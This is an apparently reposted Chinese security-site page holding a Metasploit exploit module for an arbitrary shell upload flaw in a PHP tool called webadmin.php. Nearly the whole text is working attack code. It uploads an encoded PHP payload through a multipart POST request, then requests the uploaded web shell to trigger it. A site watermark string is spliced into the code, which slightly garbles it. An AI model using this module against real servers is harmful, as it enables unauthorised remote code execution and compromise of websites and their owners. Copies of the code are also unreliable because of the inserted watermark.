标题: webadmin <= Shell Upload Vulnerability (MSF) 作者: Caddy-Dz HdhCmsTest2cto测试数据 下载地址: http://wacker-welt.de/webadmin/webadmin.php.gz require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'webadmin <= Shell Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary shell upload vulnerability in the webadmin.php }, 'Author' => [ 'Caddy-Dz' ], 'License' => MSF_LICENSE, 'References' => [" http://wacker-welt.de/webadmin/webadmin.php.gz " ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sept 13, 2011' )) register_options([ OptString.new('URI', [true, "Path to webadmin ", "/"]), ], self.class) end def exploit boundary = rand_text_alphanumeric(6) fn = rand_text_alphanumeric(8) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; " data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n" data << payload.encoded data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => datastore['URI'] + "/webadmin.php", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, } }, 25) if (res) HdhCmsTest2cto测试数据 print_status("Successfully uploaded shell.") shell_path = res.body.split("_")[0] print_status("Trying to access shell at #{shell_path}...") res = send_request_raw({ 'uri' => datastore['URI'] + shell_path, 'method' => 'GET', }, 0.01) else print_error("Error uploading shell") end handler end end
查看更多关于webadmin <= Shell上传缺陷及修复 - 网站安全 - 自学的详细内容...